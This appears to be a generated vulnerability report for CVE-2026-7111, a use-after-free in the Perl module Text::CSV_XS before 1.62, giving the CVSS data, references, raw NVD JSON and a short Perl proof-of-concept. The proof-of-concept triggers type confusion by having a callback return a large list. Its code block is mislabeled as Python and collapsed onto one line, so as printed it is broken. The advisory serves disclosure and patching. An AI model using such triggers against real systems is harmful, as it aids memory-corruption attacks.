Security Vulnerability Report
中文
CVE-2026-7111 CVSS 8.4 HIGH

CVE-2026-7111

Published: 2026-04-29 15:16:09
Last Modified: 2026-05-06 16:16:53
Source: 9b29abf9-4ab0-4765-b253-1875cd9b441e

Description

Text::CSV_XS versions before 1.62 for Perl have a use-after-free when registered callbacks extend the Perl argument stack, which may enable type confusion or memory corruption. The Parse, print, getline, and getline_all methods invoke registered callbacks (for example after_parse, before_print, or on_error) and cache the Perl argument stack pointer across the call. If a callback extends the argument stack enough to trigger a reallocation, the return value is written through the stale pointer into the freed buffer, and the caller reads the original $self argument as the return value instead. Calling code that expects parsed data from getline_all receives the Text::CSV_XS object in its place, leading to logic errors or crashes. Text::CSV_XS objects used without any registered callbacks are not affected.

CVSS Details

CVSS Score
8.4
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:hmbrand:text\:\:csv_xs:*:*:*:*:*:perl:*:* - VULNERABLE
Text::CSV_XS < 1.62

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/perl use strict; use warnings; use Text::CSV_XS; # Create a new CSV object my $csv = Text::CSV_XS->new({ binary => 1 }); # Register a callback that triggers stack growth # This callback returns a large list to force Perl stack reallocation $csv->callbacks( after_parse => sub { # Simulate stack extension by returning a large list # This stresses the stack allocator and triggers the UAF condition return (1) x 1000; } ); # CSV input data my $data = "col1,col2\nval1,val2"; open my $fh, '<', \$data or die "Cannot open string"; # Trigger the vulnerability using getline_all # This method invokes the callback, causing stack reallocation # and the subsequent use-after-free write. my $result = $csv->getline_all($fh); # Verify if the vulnerability is triggered (Type Confusion) # If successful, $result is the object itself, not an arrayref of data if (ref $result eq 'Text::CSV_XS') { print "[+] Vulnerability Triggered: Type confusion detected.\n"; print " Received Object instead of parsed data.\n"; } else { print "[-] Vulnerability not triggered or patched.\n"; } close $fh;

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-7111", "sourceIdentifier": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "published": "2026-04-29T15:16:09.183", "lastModified": "2026-05-06T16:16:52.697", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Text::CSV_XS versions before 1.62 for Perl have a use-after-free when registered callbacks extend the Perl argument stack, which may enable type confusion or memory corruption.\n\nThe Parse, print, getline, and getline_all methods invoke registered callbacks (for example after_parse, before_print, or on_error) and cache the Perl argument stack pointer across the call. If a callback extends the argument stack enough to trigger a reallocation, the return value is written through the stale pointer into the freed buffer, and the caller reads the original $self argument as the return value instead.\n\nCalling code that expects parsed data from getline_all receives the Text::CSV_XS object in its place, leading to logic errors or crashes. Text::CSV_XS objects used without any registered callbacks are not affected."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 5.9}]}, "weaknesses": [{"source": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}, {"lang": "en", "value": "CWE-825"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:hmbrand:text\\:\\:csv_xs:*:*:*:*:*:perl:*:*", "versionEndExcluding": "1.62", "matchCriteriaId": "42D9FCD4-72E4-4E7D-B842-1DF319D08DF0"}]}]}], "references": [{"url": "https://github.com/cpan-authors/Text-CSV_XS/commit/c17f31a5f2bf36674748eb4b6e25672f0571a224.patch", "source": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "tags": ["Mailing List", "Patch"]}, {"url": "https://metacpan.org/release/HMBRAND/Text-CSV_XS-1.62/changes", "source": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "tags": ["Release Notes", "Product"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/04/29/17", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Third Party Advisory"]}]}}